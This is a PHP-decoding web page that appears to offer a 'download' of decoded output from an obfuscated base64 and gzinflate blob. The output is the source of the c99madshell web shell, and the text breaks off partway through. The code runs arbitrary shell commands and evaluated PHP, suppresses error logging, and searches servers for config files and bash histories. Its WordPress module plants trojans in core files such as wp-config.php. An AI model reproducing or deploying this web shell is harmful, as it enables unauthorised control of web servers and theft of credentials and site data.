Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('7X1rcxvJkeBn8VeUeuABYOFJvQGREkVSjxlKlEXOajQkA9FAN4AeNrox3Q2C..

Decoded Output download

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
//@ignore_user_abort(TRUE);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);


$login = ""; //Login
$pass = "";  //Pass
$md5_pass = ""; //If no pass then hash
$allow_ext		= array('mysql','mysqli','ftp','curl','imap','sockets','mssql','sqlite');
$allow_program	= array('gcc','cc','ld','php','perl','python','ruby','make','tar','nc','locate','suidperl','wget','get','fetch','links','lynx','curl','lwp-mirror','lwp-download');
$allow_service	= array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','tripwire','sxid','logcheck','logwatch');
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
}

function which($which) {
	$locate = myshellexec('which '.$which);
	if($locate) { 
		return $locate;
	} else { 
		return false;
	}
}

function save_file($file, $content) {
	global $win;
	if(!file_exists($file)) {
		return false;
	}
	clearstatcache();
	$filetime = filemtime($file);
	if(!is_writable($file)) {
		$fileperm = substr(decoct(fileperms($file)), -4, 4);
		@chmod($file, intval(0777,8));
		if(!is_writable($file)) {
			return false;
		}
	}
	$handle = @fopen($file, 'w');
	if($handle === FALSE) {
		return false;
	}
	fwrite($handle, $content);
	fclose($handle);
	@touch($file, $filetime, $filetime);
	if(isset($fileperm) && !empty($fileperm)) {
		@chmod($file, intval($fileperm,8));
	}
	clearstatcache();
	return true;
}
function c99shexit() {
	onphpshutdown();
	exit;
}
function RecursFile($dir) {
	$files = array();
	if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
		$dir .= DIRECTORY_SEPARATOR;
	}
	if(!file_exists($dir)) {
		return false;
	}
	clearstatcache(); //  
	$realpath = getcwd(); //   
	$handle = @opendir($dir);
	if(FALSE === $handle) {
		return false;
	}
	chdir($dir);
	while(FALSE !== ($file = readdir($handle))) {
		if('.' != $file && '..' != $file ) {
			if(is_dir($file)) {
				$recurs = RecursFile($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
				if(is_array($recurs)) {
					$files = array_merge($files, $recurs);
				}
			} elseif(is_file($file)) {
				$files[] = str_replace(array('\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file);
			}
		}
	}
	closedir($handle);
	chdir($realpath); //  
	clearstatcache(); //  
	//sort($files);
	return $files;
}

/**
*       .
*
*/
function RecursDir($dir) {
	$dirs = array();

	if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
		$dir .= DIRECTORY_SEPARATOR;
	}
	if(!file_exists($dir)) {
		return false;
	}
	clearstatcache(); //  
	$realpath = getcwd(); //   
	$handle = @opendir($dir);
	if(FALSE === $handle) {
		return false;
	}
	chdir($dir);
	$dirs[] = str_replace(array('\', '//'), DIRECTORY_SEPARATOR, $dir);
	while(FALSE !== ($file = readdir($handle))) {
		if('.' != $file && '..' != $file ) {
			if(is_dir($file)) {
				$dirs[] = str_replace(array('\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
				$recurs = RecursDir($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
				if(is_array($recurs)) {
					$dirs = array_merge($dirs, $recurs);
				}
			}
		}
	}
	closedir($handle);
	chdir($realpath); //  
	clearstatcache(); //  
	$dirs = array_unique($dirs);
	return $dirs;
}

function setRecursPerm($dir, $perm) {
	$good = 0;
	$bad = 0;
	$all = array_merge(RecursFile($dir), RecursDir($dir));
	foreach($all as $file) {
		if(@chmod($file, $perm)) {
			$good++;
		} else {
			$bad++;
		}
	}
	return $good.':'.$bad;
}

$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "3.0 BLOG edition";
if (empty($surl)){
	$surl = $_SERVER['PHP_SELF'];
}
$surl = htmlspecialchars($surl);

$timelimit = 0;
$login_txt = "Admin area";
$accessdeniedmess = "<a href=\"http://securityprobe.net\">c99madkibshell v.".$shver."</a>: access denied";
$filestealth = TRUE;
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";

$sort_default = "0a";
$sort_save = TRUE;


$safemode_diskettes = array('a');
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;

if (!$win) {
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
} else {
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$quicklaunch = array(
 array("<b><hr>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
 array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
 array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
);

$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  c99shexit($accessdeniedmess);
 }
}

if (isset($_POST['act'])) $act  = $_POST['act'];
if (isset($_POST['d'])) $d    = urldecode($_POST['d']); else $d=getcwd();
if (isset($_POST['sort'])) $sort = $_POST['sort'];
if (isset($_POST['f'])) $f    = urldecode($_POST['f']);
if (isset($_POST['ft'])) $ft   = $_POST['ft'];
if (isset($_POST['grep'])) $grep = $_POST['grep'];
if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
if (isset($_POST['pid'])) $pid  = $_POST['pid'];
if (isset($_POST['sig'])) $sig  = $_POST['sig'];
if (isset($_POST['base64'])) $base64  = $_POST['base64'];
if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];
if (isset($_POST['c'])) $c  = $_POST['c'];
if (isset($_POST['white'])) $white  = $_POST['white'];
if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];

$lastdir = @realpath(".");
@chdir($curdir);


$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
} else {
	$disablefunc = array();
}

function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}

function listdir($start_dir='.') {
  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }
 return $files;
}
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}

function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}

function fs_rmobj($o)
{
 $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return FALSE;}
}



function myshellexec($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(@function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("
",$res);
   }
  elseif(@function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(@function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   if(@function_exists('fread') && @function_exists('feof')){
    while(!@feof($f)) { $res .= @fread($f,1024); }
   }else if(@function_exists('fgets') && @function_exists('feof')){
    while(!@feof($f)) { $res .= @fgets($f,1024); }
   }
   @pclose($f);
  }
  elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  {
   $res = "";
   if(@function_exists('fread') && @function_exists('feof')){
    while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
   }else if(@function_exists('fgets') && @function_exists('feof')){
    while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
   }
   @proc_close($f);
  }
  elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
   {
    $res = '[~] Blind Command Execution via [pcntl_exec]

';
    $pid = @pcntl_fork();
    if ($pid == -1) {
     $res .= '[-] Could not children fork. c99shexit';
    } else if ($pid) {
         if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
         else {$res .= '[-] Error. Command incorrect.';}
    } else {
         $cfe = array(" -e 'system(\"$cfe\")'");
         if(@pcntl_exec('/usr/bin/perl',$cfe)) c99shexit(0);
         if(@pcntl_exec('/usr/local/bin/perl',$cfe)) c99shexit(0);
         die();
    }
   }
 }
 return $res;
}


function tabsort($a,$b) 
{
	global $v; 
	return strnatcmp($a[$v], $b[$v]);
}

function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}

if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}

function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}

function view_perms_color($o)
{
 if (!@is_readable($o)) {return "<font color=red>".view_perms(@fileperms($o))."</font>";}
 elseif (!@is_writable($o)) {return "<font color=white>".view_perms(@fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(@fileperms($o))."</font>";}
}



function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== FALSE)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c99fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
if(!isset($act)) {$act='';}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = TRUE;
 $hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = @htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'',getenv("SERVER_SOFTWARE"));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!isset($actbox) || !is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='wp_act' type='hidden' value=''><input name='wp_path' type='hidden' value='<?php if(isset($wp_path)) echo($wp_path);?>'><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99madShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr>

<tr><td>
<p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p>
<p align="left"><b>System:&nbsp;<?php echo substr(php_uname(),0,90); ?></b>&nbsp;</p>
<?php 
if(!$win && function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
	echo('<p align="left"><b>User/Group:&nbsp;');
	$groupinfo = posix_getgrgid(posix_getegid());
	echo(get_current_user().'/'.$groupinfo['name']); 
	echo('</b>&nbsp;</p>');
}
?>
<p align="left"><b>Php version: <a href="#" onclick="document.todo.act.value='phpinfo';document.todo.submit();"><b><u><?php echo(phpversion()) ?></u></b></a>
<p align="left"><b>Php modules:&nbsp;
<?php
$cur_ext = get_loaded_extensions();
echo('<font title="'.implode(',', $cur_ext).'">');
$intersect = array_intersect($allow_ext, $cur_ext);
echo(implode(', ', $intersect));
?>
</font></b>&nbsp;</p>
<?php
if($disablefunc) {
	echo('<p align="left" style="color:red"><b>Disable functions:&nbsp;'.implode(', ', $disablefunc).'</b></p>');
}

if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {
	echo('<p align="left" style="color:red"><b>Mod Security:&nbsp;YES</b></p>');
}
if(!$win && $safemode === FALSE) {
	$pro = array();
	$ser = array();
	foreach($allow_program as $program) {
		if($locate = which($program)) {
			$pro[] = '<font title="'.$locate.'">'.$program.'</font>';
		}
	}
	foreach($allow_service as $service) {
		if($locate = which($service)) {
			$ser[] = '<font title="'.$locate.'">'.$service.'</font>';
		}
	}
	if($pro) {
		echo('<p align="left"><b>Install program:&nbsp;<font color="#00CCFF">'.implode(', ', $pro).'</font></b></p>');

	}
	if($ser) {
		echo('<p align="left"><b>Install service:&nbsp;'.implode(', ', $ser).'</b></p>');
	}
}
?>

<p align="left"><b>Allow_url_fopen:&nbsp;<?php echo((@ini_get('allow_url_fopen'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
<p align="left"><b>Allow_url_include:&nbsp;<?php echo((@ini_get('allow_url_include'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
<p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p>
<?php
if(isset($wp_path)) {
	if(valid_wp_path($wp_path)) {
		draw_patch();
		draw_trojan();
	} else {
		unset($wp_path);
	}
}
if(!isset($wp_path)) {
	$wp_path = found_wp();
	if(valid_wp_path($wp_path)) {
		draw_patch();
		draw_trojan();
	} else {
		unset($wp_path);
	}
}
if(!isset($wp_path)) {
	echo('<p><font color=red>Wordpress Not Found! ');
	echo('<input type=text id="wp_pat"><input type="submit" value="SET PATH" onclick="document.todo.act.value=\'ls\';document.todo.wp_path.value=document.getElementById(\'wp_pat\').value;document.todo.submit();"></p>');

}
function draw_trojan() {
	echo('<p><font color=green>Trojan: </font>

	<input type="submit" id="index" value="index" style="font-size: 6pt;'.get_style('index').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'index\';document.todo.submit();"/>
	<input type="submit" id="wp-blog-header" value="wp-blog-header" style="font-size: 6pt;'.get_style('wp-blog-header').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-blog-header\';document.todo.submit();"/>
	<input type="submit" id="wp-config" value="wp-config" style="font-size: 6pt;'.get_style('wp-config').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-config\';document.todo.submit();"/>
	<input type="submit" id="wp-settings" value="wp-settings" style="font-size: 6pt;'.get_style('wp-settings').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-settings\';document.todo.submit();"/>
	<input type="submit" id="template-loader" value="template-loader" style="font-size: 6pt;'.get_style('template-loader').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template-loader\';document.todo.submit();"/>
	<input type="submit" id="template" value="template" style="font-size: 6pt;'.get_style('template').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template\';document.todo.submit();"/></p>');
}
function draw_patch() {
	echo('<p><font color=green>Patch: </font>
	<input type="submit" id="xmlrpc1" value="xmlrpc1" style="font-size: 6pt;'.get_style('xmlrpc1').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc1\';document.todo.submit();"/>

	<input type="submit" id="xmlrpc2" value="xmlrpc2" style="font-size: 6pt;'.get_style('xmlrpc2').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc2\';document.todo.submit();"/>

	<input type="submit" id="admin_ajax" value="admin_ajax" style="font-size: 6pt;'.get_style('admin_ajax').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'admin_ajax\';document.todo.submit();"/>
	<input type="submit" id="blog_name_sql" value="blog_name_sql" style="font-size: 6pt;'.get_style('blog_name_sql').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'blog_name_sql\';document.todo.submit();"/>
	<input type="submit" id="tb_id" value="tb_id" style="font-size: 6pt;'.get_style('tb_id').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'tb_id\';document.todo.submit();"/></p>');
}
function found_wp() {
	$path = @getcwd();
	if($path === false) {
		return false;
	}
	if(valid_wp_path($path)) {
		return $path;
	}
	if(preg_match('%(wp-(\w+)$)%i', $path, $ret)) {
		$path = substr($path, 0, strpos($path, $ret[0]));
		return $path;
	}
	if(preg_match('%(blog|wp|wordpress|blogs)%i', $path, $ret)) {
		$path = substr($path, 0, strpos($path, $ret[0])+strlen($ret[0])+1);
		return $path;
	}
	return false;
}

function valid_wp_path($path) {
	if($path === false) {
		return false;
	}
	if(file_exists($path.'wp-config.php')) {
		return true;
	} else {
		return false;
	}
}

function get_style($vuln) {
	global $wp_path;
	switch($vuln) {
		case 'xmlrpc1':
		case 'xmlrpc2':			$file = $wp_path.'xmlrpc.php'; break;
		case 'admin_ajax':		$file = file_exists($wp_path.'wp-includes/pluggable.php')?$wp_path.'wp-includes/pluggable.php':$wp_path.'wp-includes/pluggable-functions.php'; break;
		case 'blog_name_sql':	$file = $wp_path.'wp-trackback.php'; break;
		case 'tb_id':			$file = $wp_path.'wp-trackback.php'; break;


		case 'index':			$file = $wp_path.'index.php'; break;
		case 'wp-blog-header':	$file = $wp_path.'wp-blog-header.php'; break;
		case 'wp-config':		$file = $wp_path.'wp-config.php'; break;
		case 'wp-settings':		$file = $wp_path.'wp-settings.php'; break;
		case 'template-loader':	$file = $wp_path.'wp-includes/template-loader.php'; break;
		case 'template':		$file = $wp_path.'wp-trackback.ph'; break;
		default: return false;
	}
	if(!is_writable($file) && is_patching($vuln, $file)) {
		$style = 'background-color: yellow; color: black" disabled';
	} elseif(is_writable($file) && is_patching($vuln, $file)) {
		$style = 'background-color: yellow; color: black" disabled';
	} elseif(is_writable($file) && !is_patching($vuln, $file)) {
		$style = 'background-color: green; color: white"';
	} else {
		$style = 'background-color: #800000; color: #FFFFFF" disabled';
	}
	return $style;
}


function is_patching($vuln, $file) {
	if($vuln == 'index' || $vuln == 'wp-blog-header' || $vuln == 'wp-config' || $vuln == 'wp-settings' || $vuln == 'template-loader' || $vuln == 'template') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, 'beliy.us') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'xmlrpc1') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '//\'pingback.ping\' => \'this:pingback_ping\',') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'xmlrpc2') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'admin_ajax') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '$user_login = $wpdb->escape($user_login);') !== FALSE) {
			return true;
		} else {
			return false;
		}
